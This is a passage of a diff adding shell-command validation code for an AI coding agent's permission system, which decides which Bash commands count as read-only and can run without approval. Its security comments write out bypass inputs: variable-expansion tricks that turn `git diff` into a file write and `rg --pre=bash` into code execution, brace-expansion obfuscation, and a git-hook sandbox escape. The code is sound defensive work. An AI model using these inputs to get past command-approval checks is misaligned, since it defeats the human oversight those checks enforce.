1197
+ },
1198
+ },
1199
+ }
1200
+
1201
+ function getCommandAllowlist(): Record<string, CommandConfig> {
1202
+ let allowlist: Record<string, CommandConfig> = COMMAND_ALLOWLIST
1203
+ // On Windows, xargs can be used as a data-to-code bridge: if a file contains
1204
+ // a UNC path, `cat file | xargs cat` feeds that path to cat, triggering SMB
1205
+ // resolution. Since the UNC path is in file contents (not the command string),
1206
+ // regex-based detection cannot catch this.
1207
+ if (getPlatform() === 'windows') {
1208
+ const { xargs: _, ...rest } = allowlist
1209
+ allowlist = rest
1210
+ }
1211
+ if (process.env.USER_TYPE === 'ant') {
1212
+ return { ...allowlist, ...ANT_ONLY_COMMAND_ALLOWLIST }
1213
+ }
1214
+ return allowlist
1215
+ }
1216
+
1217
+ /**
1218
+ * Commands that are safe to use as xargs targets for auto-approval.
1219
+ *
1220
+ * SECURITY: Only add a command to this list if it has NO flags that can:
1221
+ * 1. Write to files (e.g., find's -fprint, sed's -i)
1222
+ * 2. Execute code (e.g., find's -exec, awk's system(), perl's -e)
1223
+ * 3. Make network requests
1224
+ *
1225
+ * These commands must be purely read-only utilities. When xargs uses one of
1226
+ * these as a target, we stop validating flags after the target command
1227
+ * (see the `break` in isCommandSafeViaFlagParsing), so the command itself
1228
+ * must not have ANY dangerous flags, not just a safe subset.
1229
+ *
1230
+ * Each command was verified by checking its man page for dangerous capabilities.
1231
+ */
1232
+ const SAFE_TARGET_COMMANDS_FOR_XARGS = [
1233
+ 'echo', // Output only, no dangerous flags
1234
+ 'printf', // xargs runs /usr/bin/printf (binary), not bash builtin — no -v support
1235
+ 'wc', // Read-only counting, no dangerous flags
1236
+ 'grep', // Read-only search, no dangerous flags
1237
+ 'head', // Read-only, no dangerous flags
1238
+ 'tail', // Read-only (including -f follow), no dangerous flags
1239
+ ]
1240
+
1241
+ /**
1242
+ * Unified command validation function that replaces individual validator functions.
1243
+ * Uses declarative configuration from COMMAND_ALLOWLIST to validate commands and their flags.
1244
+ * Handles combined flags, argument validation, and shell quoting bypass detection.
1245
+ */
1246
+ export function isCommandSafeViaFlagParsing(command: string): boolean {
1247
+ // Parse the command to get individual tokens using shell-quote for accuracy
1248
+ // Handle glob operators by converting them to strings, they don't matter from the perspective
1249
+ // of this function
1250
+ const parseResult = tryParseShellCommand(command, env => `$${env}`)
1251
+ if (!parseResult.success) return false
1252
+
1253
+ const parsed = parseResult.tokens.map(token => {
1254
+ if (typeof token !== 'string') {
1255
+ token = token as { op: 'glob'; pattern: string }
1256
+ if (token.op === 'glob') {
1257
+ return token.pattern
1258
+ }
1259
+ }
1260
+ return token
1261
+ })
1262
+
1263
+ // If there are operators (pipes, redirects, etc.), it's not a simple command.
1264
+ // Breaking commands down into their constituent parts is handled upstream of
1265
+ // this function, so we reject anything with operators here.
1266
+ const hasOperators = parsed.some(token => typeof token !== 'string')
1267
+ if (hasOperators) {
1268
+ return false
1269
+ }
1270
+
1271
+ // Now we know all tokens are strings
1272
+ const tokens = parsed as string[]
1273
+
1274
+ if (tokens.length === 0) {
1275
+ return false
1276
+ }
1277
+
1278
+ // Find matching command configuration
1279
+ let commandConfig: CommandConfig | undefined
1280
+ let commandTokens: number = 0
1281
+
1282
+ // Check for multi-word commands first (e.g., "git diff", "git stash list")
1283
+ const allowlist = getCommandAllowlist()
1284
+ for (const [cmdPattern] of Object.entries(allowlist)) {
1285
+ const cmdTokens = cmdPattern.split(' ')
1286
+ if (tokens.length >= cmdTokens.length) {
1287
+ let matches = true
1288
+ for (let i = 0; i < cmdTokens.length; i++) {
1289
+ if (tokens[i] !== cmdTokens[i]) {
1290
+ matches = false
1291
+ break
1292
+ }
1293
+ }
1294
+ if (matches) {
1295
+ commandConfig = allowlist[cmdPattern]
1296
+ commandTokens = cmdTokens.length
1297
+ break
1298
+ }
1299
+ }
1300
+ }
1301
+
1302
+ if (!commandConfig) {
1303
+ return false // Command not in allowlist
1304
+ }
1305
+
1306
+ // Special handling for git ls-remote to reject URLs that could lead to data exfiltration
1307
+ if (tokens[0] === 'git' && tokens[1] === 'ls-remote') {
1308
+ // Check if any argument looks like a URL or remote specification
1309
+ for (let i = 2; i < tokens.length; i++) {
1310
+ const token = tokens[i]
1311
+ if (token && !token.startsWith('-')) {
1312
+ // Reject HTTP/HTTPS URLs
1313
+ if (token.includes('://')) {
1314
+ return false
1315
+ }
1316
+ // Reject SSH URLs like git@github.com:user/repo.git
1317
+ if (token.includes('@') || token.includes(':')) {
1318
+ return false
1319
+ }
1320
+ // Reject variable references
1321
+ if (token.includes('$')) {
1322
+ return false
1323
+ }
1324
+ }
1325
+ }
1326
+ }
1327
+
1328
+ // SECURITY: Reject ANY token containing `$` (variable expansion). The
1329
+ // `env => \`$${env}\`` callback at line 825 preserves `$VAR` as LITERAL TEXT
1330
+ // in tokens, but bash expands it at runtime (unset vars → empty string).
1331
+ // This parser differential defeats BOTH validateFlags and callbacks:
1332
+ //
1333
+ // (1) `$VAR`-prefix defeats validateFlags `startsWith('-')` check:
1334
+ // `git diff "$Z--output=/tmp/pwned"` → token `$Z--output=/tmp/pwned`
1335
+ // (starts with `$`) falls through as positional at ~:1730. Bash runs
1336
+ // `git diff --output=/tmp/pwned`. ARBITRARY FILE WRITE, zero perms.
1337
+ //
1338
+ // (2) `$VAR`-prefix → RCE via `rg --pre`:
1339
+ // `rg . "$Z--pre=bash" FILE` → executes `bash FILE`. rg's config has
1340
+ // no regex and no callback. SINGLE-STEP ARBITRARY CODE EXECUTION.
1341
+ //
1342
+ // (3) `$VAR`-infix defeats additionalCommandIsDangerousCallback regex:
1343
+ // `ps ax"$Z"e` → token `ax$Ze`. The ps callback regex
1344
+ // `/^[a-zA-Z]*e[a-zA-Z]*$/` fails on `$` → "not dangerous". Bash runs
1345
+ // `ps axe` → env vars for all processes. A fix limited to `$`-PREFIXED
1346
+ // tokens would NOT close this.
1347
+ //
1348
+ // We check ALL tokens after the command prefix. Any `$` means we cannot
1349
+ // determine the runtime token value, so we cannot verify read-only safety.
1350
+ // This check must run BEFORE validateFlags and BEFORE callbacks.
1351
+ for (let i = commandTokens; i < tokens.length; i++) {
1352
+ const token = tokens[i]
1353
+ if (!token) continue
1354
+ // Reject any token containing $ (variable expansion)
1355
+ if (token.includes('$')) {
1356
+ return false
1357
+ }
1358
+ // Reject tokens with BOTH `{` and `,` (brace expansion obfuscation).
1359
+ // `git diff {@'{'0},--output=/tmp/pwned}` → shell-quote strips quotes
1360
+ // → token `{@{0},--output=/tmp/pwned}` has `{` + `,` → brace expansion.
1361
+ // This is defense-in-depth with validateBraceExpansion in bashSecurity.ts.
1362
+ // We require BOTH `{` and `,` to avoid false positives on legitimate
1363
+ // patterns: `stash@{0}` (git ref, has `{` no `,`), `{{.State}}` (Go
1364
+ // template, no `,`), `prefix-{}-suffix` (xargs, no `,`). Sequence form
1365
+ // `{1..5}` also needs checking (has `{` + `..`).
1366
+ if (token.includes('{') && (token.includes(',') || token.includes('..'))) {
1367
+ return false
1368
+ }
1369
+ }
1370
+
1371
+ // Validate flags starting after the command tokens
1372
+ if (
1373
+ !validateFlags(tokens, commandTokens, commandConfig, {
1374
+ commandName: tokens[0],
1375
+ rawCommand: command,
1376
+ xargsTargetCommands:
1377
+ tokens[0] === 'xargs' ? SAFE_TARGET_COMMANDS_FOR_XARGS : undefined,
1378
+ })
1379
+ ) {
1380
+ return false
1381
+ }
1382
+
1383
+ if (commandConfig.regex && !commandConfig.regex.test(command)) {
1384
+ return false
1385
+ }
1386
+ if (!commandConfig.regex && /`/.test(command)) {
1387
+ return false
1388
+ }
1389
+ // Block newlines and carriage returns in grep/rg patterns as they can be used for injection
1390
+ if (
1391
+ !commandConfig.regex &&
1392
+ (tokens[0] === 'rg' || tokens[0] === 'grep') &&
1393
+ /[\n\r]/.test(command)
1394
+ ) {
1395
+ return false
1396
+ }
1397
+ if (
1398
+ commandConfig.additionalCommandIsDangerousCallback &&
1399
+ commandConfig.additionalCommandIsDangerousCallback(
1400
+ command,
1401
+ tokens.slice(commandTokens),
1402
+ )
1403
+ ) {
1404
+ return false
1405
+ }
1406
+
1407
+ return true
1408
+ }
1409
+
1410
+ /**
1411
+ * Creates a regex pattern that matches safe invocations of a command.
1412
+ *
1413
+ * The regex ensures commands are invoked safely by blocking:
1414
+ * - Shell metacharacters that could lead to command injection or redirection
1415
+ * - Command substitution via backticks or $()
1416
+ * - Variable expansion that could contain malicious payloads
1417
+ * - Environment variable assignment bypasses (command=value)
1418
+ *
1419
+ * @param command The command name (e.g., 'date', 'npm list', 'ip addr')
1420
+ * @returns RegExp that matches safe invocations of the command
1421
+ */
1422
+ function makeRegexForSafeCommand(command: string): RegExp {
1423
+ // Create regex pattern: /^command(?:\s|$)[^<>()$`|{}&;\n\r]*$/
1424
+ return new RegExp(`^${command}(?:\\s|$)[^<>()$\`|{}&;\\n\\r]*$`)
1425
+ }
1426
+
1427
+ // Simple commands that are safe for execution (converted to regex patterns using makeRegexForSafeCommand)
1428
+ // WARNING: If you are adding new commands here, be very careful to ensure
1429
+ // they are truly safe. This includes ensuring:
1430
+ // 1. That they don't have any flags that allow file writing or command execution
1431
+ // 2. Use makeRegexForSafeCommand() to ensure proper regex pattern creation
1432
+ const READONLY_COMMANDS = [
1433
+ // Cross-platform commands from shared validation
1434
+ ...EXTERNAL_READONLY_COMMANDS,
1435
+
1436
+ // Unix/bash-specific read-only commands (not shared because they don't exist in PowerShell)
1437
+
1438
+ // Time and date
1439
+ 'cal',
1440
+ 'uptime',
1441
+
1442
+ // File content viewing (relative paths handled separately)
1443
+ 'cat',
1444
+ 'head',
1445
+ 'tail',
1446
+ 'wc',
1447
+ 'stat',
1448
+ 'strings',
1449
+ 'hexdump',
1450
+ 'od',
1451
+ 'nl',
1452
+
1453
+ // System info
1454
+ 'id',
1455
+ 'uname',
1456
+ 'free',
1457
+ 'df',
1458
+ 'du',
1459
+ 'locale',
1460
+ 'groups',
1461
+ 'nproc',
1462
+
1463
+ // Path information
1464
+ 'basename',
1465
+ 'dirname',
1466
+ 'realpath',
1467
+
1468
+ // Text processing
1469
+ 'cut',
1470
+ 'paste',
1471
+ 'tr',
1472
+ 'column',
1473
+ 'tac', // Reverse cat — displays file contents in reverse line order
1474
+ 'rev', // Reverse characters in each line
1475
+ 'fold', // Wrap lines to specified width
1476
+ 'expand', // Convert tabs to spaces
1477
+ 'unexpand', // Convert spaces to tabs
1478
+ 'fmt', // Simple text formatter — output to stdout only
1479
+ 'comm', // Compare sorted files line by line
1480
+ 'cmp', // Byte-by-byte file comparison
1481
+ 'numfmt', // Number format conversion
1482
+
1483
+ // Path information (additional)
1484
+ 'readlink', // Resolve symlinks — displays target of symbolic link
1485
+
1486
+ // File comparison
1487
+ 'diff',
1488
+
1489
+ // true and false, used to silence or create errors
1490
+ 'true',
1491
+ 'false',
1492
+
1493
+ // Misc. safe commands
1494
+ 'sleep',
1495
+ 'which',
1496
+ 'type',
1497
+ 'expr', // Evaluate expressions (arithmetic, string matching)
1498
+ 'test', // Conditional evaluation (file checks, comparisons)
1499
+ 'getconf', // Get system configuration values
1500
+ 'seq', // Generate number sequences
1501
+ 'tsort', // Topological sort
1502
+ 'pr', // Paginate files for printing
1503
+ ]
1504
+
1505
+ // Complex commands that require custom regex patterns
1506
+ // Warning: If possible, avoid adding new regexes here and prefer using COMMAND_ALLOWLIST
1507
+ // instead. This allowlist-based approach to CLI flags is more secure and avoids
1508
+ // vulns coming from gnu getopt_long.
1509
+ const READONLY_COMMAND_REGEXES = new Set([
1510
+ // Convert simple commands to regex patterns using makeRegexForSafeCommand
1511
+ ...READONLY_COMMANDS.map(makeRegexForSafeCommand),
1512
+
1513
+ // Echo that doesn't execute commands or use variables
1514
+ // Allow newlines in single quotes (safe) but not in double quotes (could be dangerous with variable expansion)
1515
+ // Also allow optional 2>&1 stderr redirection at the end
1516
+ /^echo(?:\s+(?:'[^']*'|"[^"$<>\n\r]*"|[^|;&`$(){}><#\\!"'\s]+))*(?:\s+2>&1)?\s*$/,
1517
+
1518
+ // Claude CLI help
1519
+ /^claude -h$/,
1520
+ /^claude --help$/,
1521
+
1522
+ // Git readonly commands are now handled via COMMAND_ALLOWLIST with explicit flag validation
1523
+ // (git status, git blame, git ls-files, git config --get, git remote, git tag, git branch)
1524
+
1525
+ /^uniq(?:\s+(?:-[a-zA-Z]+|--[a-zA-Z-]+(?:=\S+)?|-[fsw]\s+\d+))*(?:\s|$)\s*$/, // Only allow flags, no input/output files
1526
+
1527
+ // System info
1528
+ /^pwd$/,
1529
+ /^whoami$/,
1530
+ // env and printenv removed - could expose sensitive environment variables
1531
+
1532
+ // Development tools version checking - exact match only, no suffix allowed.
1533
+ // SECURITY: `node -v --run <task>` would execute package.json scripts because
1534
+ // Node processes --run before -v. Python/python3 --version are also anchored
1535
+ // for defense-in-depth. These were previously in EXTERNAL_READONLY_COMMANDS which
1536
+ // flows through makeRegexForSafeCommand and permits arbitrary suffixes.
1537
+ /^node -v$/,
1538
+ /^node --version$/,
1539
+ /^python --version$/,
1540
+ /^python3 --version$/,
1541
+
1542
+ // Misc. safe commands
1543
+ // tree command moved to COMMAND_ALLOWLIST for proper flag validation (blocks -o/--output)
1544
+ /^history(?:\s+\d+)?\s*$/, // Only allow bare history or history with numeric argument - prevents file writing
1545
+ /^alias$/,
1546
+ /^arch(?:\s+(?:--help|-h))?\s*$/, // Only allow arch with help flags or no arguments
1547
+
1548
+ // Network commands - only allow exact commands with no arguments to prevent network manipulation
1549
+ /^ip addr$/, // Only allow "ip addr" with no additional arguments
1550
+ /^ifconfig(?:\s+[a-zA-Z][a-zA-Z0-9_-]*)?\s*$/, // Allow ifconfig with interface name only (must start with letter)
1551
+
1552
+ // JSON processing with jq - allow with inline filters and file arguments
1553
+ // File arguments are validated separately by pathValidation.ts
1554
+ // Allow pipes and complex expressions within quotes but prevent dangerous flags
1555
+ // Block command substitution - backticks are dangerous even in single quotes for jq
1556
+ // Block -f/--from-file, --rawfile, --slurpfile (read files into jq), --run-tests, -L/--library-path (load executable modules)
1557
+ // Block 'env' builtin and '$ENV' object which can access environment variables (defense in depth)
1558
+ /^jq(?!\s+.*(?:-f\b|--from-file|--rawfile|--slurpfile|--run-tests|-L\b|--library-path|\benv\b|\$ENV\b))(?:\s+(?:-[a-zA-Z]+|--[a-zA-Z-]+(?:=\S+)?))*(?:\s+'[^'`]*'|\s+"[^"`]*"|\s+[^-\s'"][^\s]*)+\s*$/,
1559
+
1560
+ // Path commands (path validation ensures they're allowed)
1561
+ // cd command - allows changing to directories
1562
+ /^cd(?:\s+(?:'[^']*'|"[^"]*"|[^\s;|&`$(){}><#\\]+))?$/,
1563
+ // ls command - allows listing directories
1564
+ /^ls(?:\s+[^<>()$`|{}&;\n\r]*)?$/,
1565
+ // find command - blocks dangerous flags
1566
+ // Allow escaped parentheses \( and \) for grouping, but block unescaped ones
1567
+ // NOTE: \\[()] must come BEFORE the character class to ensure \( is matched as an escaped paren,
1568
+ // not as backslash + paren (which would fail since paren is excluded from the character class)
1569
+ /^find(?:\s+(?:\\[()]|(?!-delete\b|-exec\b|-execdir\b|-ok\b|-okdir\b|-fprint0?\b|-fls\b|-fprintf\b)[^<>()$`|{}&;\n\r\s]|\s)+)?$/,
1570
+ ])
1571
+
1572
+ /**
1573
+ * Checks if a command contains glob characters (?, *, [, ]) or expandable `$`
1574
+ * variables OUTSIDE the quote contexts where bash would treat them as literal.
1575
+ * These could expand to bypass our regex-based security checks.
1576
+ *
1577
+ * Glob examples:
1578
+ * - `python *` could expand to `python --help` if a file named `--help` exists
1579
+ * - `find ./ -?xec` could expand to `find ./ -exec` if such a file exists
1580
+ * Globs are literal inside BOTH single and double quotes.
1581
+ *
1582
+ * Variable expansion examples:
1583
+ * - `uniq --skip-chars=0$_` → `$_` expands to last arg of previous command;
1584
+ * with IFS word splitting, this smuggles positional args past "flags-only"
1585
+ * regexes. `echo " /etc/passwd /tmp/x"; uniq --skip-chars=0$_` → FILE WRITE.
1586
+ * - `cd "$HOME"` → double-quoted `$HOME` expands at runtime.
1587
+ * Variables are literal ONLY inside single quotes; they expand inside double
1588
+ * quotes and unquoted.
1589
+ *
1590
+ * The `$` check guards the READONLY_COMMAND_REGEXES fallback path. The `$`
1591
+ * token check in isCommandSafeViaFlagParsing only covers COMMAND_ALLOWLIST
1592
+ * commands; hand-written regexes like uniq's `\S+` and cd's `"[^"]*"` allow `$`.
1593
+ * Matches `$` followed by `[A-Za-z_@*#?!$0-9-]` covering `$VAR`, `$_`, `$@`,
1594
+ * `$*`, `$#`, `$?`, `$!`, `$$`, `$-`, `$0`-`$9`. Does NOT match `${` or `$(` —
1595
+ * those are caught by COMMAND_SUBSTITUTION_PATTERNS in bashSecurity.ts.
1596
+ *
1597
+ * @param command The command string to check
1598
+ * @returns true if the command contains unquoted glob or expandable `$`
1599
+ */
1600
+ function containsUnquotedExpansion(command: string): boolean {
1601
+ // Track quote state to avoid false positives for patterns inside quoted strings
1602
+ let inSingleQuote = false
1603
+ let inDoubleQuote = false
1604
+ let escaped = false
1605
+
1606
+ for (let i = 0; i < command.length; i++) {
1607
+ const currentChar = command[i]
1608
+
1609
+ // Handle escape sequences
1610
+ if (escaped) {
1611
+ escaped = false
1612
+ continue
1613
+ }
1614
+
1615
+ // SECURITY: Only treat backslash as escape OUTSIDE single quotes. In bash,
1616
+ // `\` inside `'...'` is LITERAL — it does not escape the next character.
1617
+ // Without this guard, `'\'` desyncs the quote tracker: the `\` sets
1618
+ // escaped=true, then the closing `'` is consumed by the escaped-skip
1619
+ // instead of toggling inSingleQuote. Parser stays in single-quote
1620
+ // mode for the rest of the command, missing ALL subsequent expansions.
1621
+ // Example: `ls '\' *` — bash sees glob `*`, but desynced parser thinks
1622
+ // `*` is inside quotes → returns false (glob NOT detected).
1623
+ // Defense-in-depth: hasShellQuoteSingleQuoteBug catches `'\'` patterns
1624
+ // before this function is reached, but we fix the tracker anyway for
1625
+ // consistency with the correct implementations in bashSecurity.ts.
1626
+ if (currentChar === '\\' && !inSingleQuote) {
1627
+ escaped = true
1628
+ continue
1629
+ }
1630
+
1631
+ // Update quote state
1632
+ if (currentChar === "'" && !inDoubleQuote) {
1633
+ inSingleQuote = !inSingleQuote
1634
+ continue
1635
+ }
1636
+
1637
+ if (currentChar === '"' && !inSingleQuote) {
1638
+ inDoubleQuote = !inDoubleQuote
1639
+ continue
1640
+ }
1641
+
1642
+ // Inside single quotes: everything is literal. Skip.
1643
+ if (inSingleQuote) {
1644
+ continue
1645
+ }
1646
+
1647
+ // Check `$` followed by variable-name or special-parameter character.
1648
+ // `$` expands inside double quotes AND unquoted (only SQ makes it literal).
1649
+ if (currentChar === '$') {
1650
+ const next = command[i + 1]
1651
+ if (next && /[A-Za-z_@*#?!$0-9-]/.test(next)) {
1652
+ return true
1653
+ }
1654
+ }
1655
+
1656
+ // Globs are literal inside double quotes too. Only check unquoted.
1657
+ if (inDoubleQuote) {
1658
+ continue
1659
+ }
1660
+
1661
+ // Check for glob characters outside all quotes.
1662
+ // These could expand to anything, including dangerous flags.
1663
+ if (currentChar && /[?*[\]]/.test(currentChar)) {
1664
+ return true
1665
+ }
1666
+ }
1667
+
1668
+ return false
1669
+ }
1670
+
1671
+ /**
1672
+ * Checks if a single command string is read-only based on READONLY_COMMAND_REGEXES.
1673
+ * Internal helper function that validates individual commands.
1674
+ *
1675
+ * @param command The command string to check
1676
+ * @returns true if the command is read-only
1677
+ */
1678
+ function isCommandReadOnly(command: string): boolean {
1679
+ // Handle common stderr-to-stdout redirection pattern
1680
+ // This handles both "command 2>&1" at the end of a full command
1681
+ // and "command 2>&1" as part of a pipeline component
1682
+ let testCommand = command.trim()
1683
+ if (testCommand.endsWith(' 2>&1')) {
1684
+ // Remove the stderr redirection for pattern matching
1685
+ testCommand = testCommand.slice(0, -5).trim()
1686
+ }
1687
+
1688
+ // Check for Windows UNC paths that could be vulnerable to WebDAV attacks
1689
+ // Do this early to prevent any command with UNC paths from being marked as read-only
1690
+ if (containsVulnerableUncPath(testCommand)) {
1691
+ return false
1692
+ }
1693
+
1694
+ // Check for unquoted glob characters and expandable `$` variables that could
1695
+ // bypass our regex-based security checks. We can't know what these expand to
1696
+ // at runtime, so we can't verify the command is read-only.
1697
+ //
1698
+ // Globs: `python *` could expand to `python --help` if such a file exists.
1699
+ //
1700
+ // Variables: `uniq --skip-chars=0$_` — bash expands `$_` at runtime to the
1701
+ // last arg of the previous command. With IFS word splitting, this smuggles
1702
+ // positional args past "flags-only" regexes like uniq's `\S+`. The `$` token
1703
+ // check inside isCommandSafeViaFlagParsing only covers COMMAND_ALLOWLIST
1704
+ // commands; hand-written regexes in READONLY_COMMAND_REGEXES (uniq, jq, cd)
1705
+ // have no such guard. See containsUnquotedExpansion for full analysis.
1706
+ if (containsUnquotedExpansion(testCommand)) {
1707
+ return false
1708
+ }
1709
+
1710
+ // Tools like git allow `--upload-pack=cmd` to be abbreviated as `--up=cmd`
1711
+ // Regex filters can be bypassed, so we use strict allowlist validation instead.
1712
+ // This requires defining a set of known safe flags. Claude can help with this,
1713
+ // but please look over it to ensure it didn't add any flags that allow file writes
1714
+ // code execution, or network requests.
1715
+ if (isCommandSafeViaFlagParsing(testCommand)) {
1716
+ return true
1717
+ }
1718
+
1719
+ for (const regex of READONLY_COMMAND_REGEXES) {
1720
+ if (regex.test(testCommand)) {
1721
+ // Prevent git commands with -c flag to avoid config options that can lead to code execution
1722
+ // The -c flag allows setting arbitrary git config values inline, including dangerous ones like
1723
+ // core.fsmonitor, diff.external, core.gitProxy, etc. that can execute arbitrary commands
1724
+ // Check for -c preceded by whitespace and followed by whitespace or equals
1725
+ // Using regex to catch spaces, tabs, and other whitespace (not part of other flags like --cached)
1726
+ if (testCommand.includes('git') && /\s-c[\s=]/.test(testCommand)) {
1727
+ return false
1728
+ }
1729
+
1730
+ // Prevent git commands with --exec-path flag to avoid path manipulation that can lead to code execution
1731
+ // The --exec-path flag allows overriding the directory where git looks for executables
1732
+ if (
1733
+ testCommand.includes('git') &&
1734
+ /\s--exec-path[\s=]/.test(testCommand)
1735
+ ) {
1736
+ return false
1737
+ }
1738
+
1739
+ // Prevent git commands with --config-env flag to avoid config injection via environment variables
1740
+ // The --config-env flag allows setting git config values from environment variables, which can be
1741
+ // just as dangerous as -c flag (e.g., core.fsmonitor, diff.external, core.gitProxy)
1742
+ if (
1743
+ testCommand.includes('git') &&
1744
+ /\s--config-env[\s=]/.test(testCommand)
1745
+ ) {
1746
+ return false
1747
+ }
1748
+ return true
1749
+ }
1750
+ }
1751
+ return false
1752
+ }
1753
+
1754
+ /**
1755
+ * Checks if a compound command contains any git command.
1756
+ *
1757
+ * @param command The full command string to check
1758
+ * @returns true if any subcommand is a git command
1759
+ */
1760
+ function commandHasAnyGit(command: string): boolean {
1761
+ return splitCommand_DEPRECATED(command).some(subcmd =>
1762
+ isNormalizedGitCommand(subcmd.trim()),
1763
+ )
1764
+ }
1765
+
1766
+ /**
1767
+ * Git-internal path patterns that can be exploited for sandbox escape.
1768
+ * If a command creates these files and then runs git, the git command
1769
+ * could execute malicious hooks from the created files.
1770
+ */
1771
+ const GIT_INTERNAL_PATTERNS = [
1772
+ /^HEAD$/,
1773
+ /^objects(?:\/|$)/,
1774
+ /^refs(?:\/|$)/,
1775
+ /^hooks(?:\/|$)/,
1776
+ ]
1777
+
1778
+ /**
1779
+ * Checks if a path is a git-internal path (HEAD, objects/, refs/, hooks/).
1780
+ */
1781
+ function isGitInternalPath(path: string): boolean {
1782
+ // Normalize path by removing leading ./ or /
1783
+ const normalized = path.replace(/^\.?\//, '')
1784
+ return GIT_INTERNAL_PATTERNS.some(pattern => pattern.test(normalized))
1785
+ }
1786
+
1787
+ // Commands that only delete or modify in-place (don't create new files at new paths)
1788
+ const NON_CREATING_WRITE_COMMANDS = new Set(['rm', 'rmdir', 'sed'])
1789
+
1790
+ /**
1791
+ * Extracts write paths from a subcommand using PATH_EXTRACTORS.
1792
+ * Only returns paths for commands that can create new files/directories
1793
+ * (write/create operations excluding deletion and in-place modification).
1794
+ */
1795
+ function extractWritePathsFromSubcommand(subcommand: string): string[] {
1796
+ const parseResult = tryParseShellCommand(subcommand, env => `$${env}`)
1797
+ if (!parseResult.success) return []
1798
+
1799
+ const tokens = parseResult.tokens.filter(
1800
+ (t): t is string => typeof t === 'string',
1801
+ )
1802
+ if (tokens.length === 0) return []
1803
+
1804
+ const baseCmd = tokens[0]
1805
+ if (!baseCmd) return []
1806
+
1807
+ // Only consider commands that can create files at target paths
1808
+ if (!(baseCmd in COMMAND_OPERATION_TYPE)) {
1809
+ return []
1810
+ }
1811
+ const opType = COMMAND_OPERATION_TYPE[baseCmd as PathCommand]
1812
+ if (
1813
+ (opType !== 'write' && opType !== 'create') ||
1814
+ NON_CREATING_WRITE_COMMANDS.has(baseCmd)
1815
+ ) {
1816
+ return []
1817
+ }
1818
+
1819
+ const extractor = PATH_EXTRACTORS[baseCmd as PathCommand]
1820
+ if (!extractor) return []
1821
+
1822
+ return extractor(tokens.slice(1))
1823
+ }
1824
+
1825
+ /**
1826
+ * Checks if a compound command writes to any git-internal paths.
1827
+ * This is used to detect potential sandbox escape attacks where a command
1828
+ * creates git-internal files (HEAD, objects/, refs/, hooks/) and then runs git.
1829
+ *
1830
+ * SECURITY: A compound command could bypass the bare repo detection by:
1831
+ * 1. Creating bare git repo files (HEAD, objects/, refs/, hooks/) in the same command
1832
+ * 2. Then running git, which would execute malicious hooks
1833
+ *
1834
+ * Example attack:
1835
+ * mkdir -p objects refs hooks && echo '#!/bin/bash\nmalicious' > hooks/pre-commit && touch HEAD && git status
1836
+ *
1837
+ * @param command The full command string to check
1838
+ * @returns true if any subcommand writes to git-internal paths
1839
+ */
1840
+ function commandWritesToGitInternalPaths(command: string): boolean {
1841
+ const subcommands = splitCommand_DEPRECATED(command)
1842
+
1843
+ for (const subcmd of subcommands) {
1844
+ const trimmed = subcmd.trim()
1845
+
1846
+ // Check write paths from path-based commands (mkdir, touch, cp, mv)
1847
+ const writePaths = extractWritePathsFromSubcommand(trimmed)
1848
+ for (const path of writePaths) {
1849
+ if (isGitInternalPath(path)) {
1850
+ return true
1851
+ }
1852
+ }
1853
+
1854
+ // Check output redirections (e.g., echo x > hooks/pre-commit)
1855
+ const { redirections } = extractOutputRedirections(trimmed)
1856
+ for (const { target } of redirections) {
1857
+ if (isGitInternalPath(target)) {
1858
+ return true
1859
+ }
1860
+ }
1861
+ }
1862
+
1863
+ return false
1864
+ }
1865
+
1866
+ /**
1867
+ * Checks read-only constraints for bash commands.
1868
+ * This is the single exported function that validates whether a command is read-only.
1869
+ * It handles compound commands, sandbox mode, and safety checks.
1870
+ *
1871
+ * @param input The bash command input to validate
1872
+ * @param compoundCommandHasCd Pre-computed flag indicating if any cd command exists in the compound command.
1873
+ * This is computed by commandHasAnyCd() and passed in to avoid duplicate computation.
1874
+ * @returns PermissionResult indicating whether the command is read-only
1875
+ */
1876
+ export function checkReadOnlyConstraints(
1877
+ input: z.infer<typeof BashTool.inputSchema>,
1878
+ compoundCommandHasCd: boolean,
1879
+ ): PermissionResult {
1880
+ const { command } = input
1881
+
1882
+ // Detect if the command is not parseable and return early
1883
+ const result = tryParseShellCommand(command, env => `$${env}`)
1884
+ if (!result.success) {
1885
+ return {
1886
+ behavior: 'passthrough',
1887
+ message: 'Command cannot be parsed, requires further permission checks',
1888
+ }
1889
+ }
1890
+
1891
+ // Check the original command for safety before splitting
1892
+ // This is important because splitCommand_DEPRECATED may transform the command
1893
+ // (e.g., ${VAR} becomes $VAR)
1894
+ if (bashCommandIsSafe_DEPRECATED(command).behavior !== 'passthrough') {
1895
+ return {
1896
+ behavior: 'passthrough',
1897
+ message: 'Command is not read-only, requires further permission checks',
1898
+ }
1899
+ }
1900
+
1901
+ // Check for Windows UNC paths in the original command before transformation
1902
+ // This must be done before splitCommand_DEPRECATED because splitCommand_DEPRECATED may transform backslashes
1903
+ if (containsVulnerableUncPath(command)) {
1904
+ return {
1905
+ behavior: 'ask',
1906
+ message:
1907
+ 'Command contains Windows UNC path that could be vulnerable to WebDAV attacks',
1908
+ }
1909
+ }
1910
+
1911
+ // Check once if any subcommand is a git command (used for multiple security checks below)
1912
+ const hasGitCommand = commandHasAnyGit(command)
1913
+
1914
+ // SECURITY: Block compound commands that have both cd AND git
1915
+ // This prevents sandbox escape via: cd /malicious/dir && git status
1916
+ // where the malicious directory contains fake git hooks that execute arbitrary code.
1917
+ if (compoundCommandHasCd && hasGitCommand) {
1918
+ return {
1919
+ behavior: 'passthrough',
1920
+ message:
1921
+ 'Compound commands with cd and git require permission checks for enhanced security',
1922
+ }
1923
+ }
1924
+
1925
+ // SECURITY: Block git commands if the current directory looks like a bare/exploited git repo
1926
+ // This prevents sandbox escape when an attacker has:
1927
+ // 1. Deleted .git/HEAD to invalidate the normal git directory
1928
+ // 2. Created hooks/pre-commit or other git-internal files in the current directory
1929
+ // Git would then treat the cwd as the git directory and execute malicious hooks.
1930
+ if (hasGitCommand && isCurrentDirectoryBareGitRepo()) {
1931
+ return {
1932
+ behavior: 'passthrough',
1933
+ message:
1934
+ 'Git commands in directories with bare repository structure require permission checks for enhanced security',
1935
+ }
1936
+ }
1937
+
1938
+ // SECURITY: Block compound commands that write to git-internal paths AND run git
1939
+ // This prevents sandbox escape where a command creates git-internal files
1940
+ // (HEAD, objects/, refs/, hooks/) and then runs git, which would execute
1941
+ // malicious hooks from the newly created files.
1942
+ // Example attack: mkdir -p hooks && echo 'malicious' > hooks/pre-commit && git status
1943
+ if (hasGitCommand && commandWritesToGitInternalPaths(command)) {
1944
+ return {
1945
+ behavior: 'passthrough',
1946
+ message:
1947
